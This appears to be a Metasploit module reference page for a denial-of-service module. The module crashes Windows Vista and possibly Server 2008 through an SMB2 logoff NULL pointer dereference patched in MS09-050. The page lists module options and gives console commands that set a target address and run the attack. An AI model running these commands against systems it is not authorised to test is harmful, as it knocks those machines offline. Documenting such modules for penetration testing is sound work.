Microsoft SRV2.SYS SMB2 Logoff Remote Kernel NULL Pointer Dereference
This module triggers a NULL pointer dereference in the SRV2.SYS kernel driver when processing an SMB2 logoff request before a session has been correctly negotiated, resulting in a BSOD. Effecting Vista SP1/SP2 (And possibly Server 2008 SP1/SP2), the flaw was resolved with MS09-050.
Rank
- Normal
Authors
- sf < stephen_fewer [at] harmonysecurity.com >
Vulnerability References
Development
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Usage Information
$ msfconsole
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msf > use auxiliary/dos/windows/smb/ms09_050_smb2_session_logoff
msf auxiliary(ms09_050_smb2_session_logoff) > set RHOST [TARGET IP]
msf auxiliary(ms09_050_smb2_session_logoff) > run
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msf > use auxiliary/dos/windows/smb/ms09_050_smb2_session_logoff
msf auxiliary(ms09_050_smb2_session_logoff) > set RHOST [TARGET IP]
msf auxiliary(ms09_050_smb2_session_logoff) > run
Module Options
| RHOST | The target address |
| RPORT | The target port (default: 445) |
| CHOST | The local client address |
| CPORT | The local client port |
| ConnectTimeout | Maximum number of seconds to establish a TCP connection |
| Proxies | Use a proxy chain |
| SSL | Negotiate SSL for outgoing connections |
| SSLVersion | Specify the version of SSL that should be used (accepted: SSL2, SSL3, TLS1) |
| VERBOSE | Enable detailed status messages |
| WORKSPACE | Specify the workspace for this module |
| TCP::max_send_size | Maxiumum tcp segment size. (0 = disable) |
| TCP::send_delay | Delays inserted before every send. (0 = disable) |
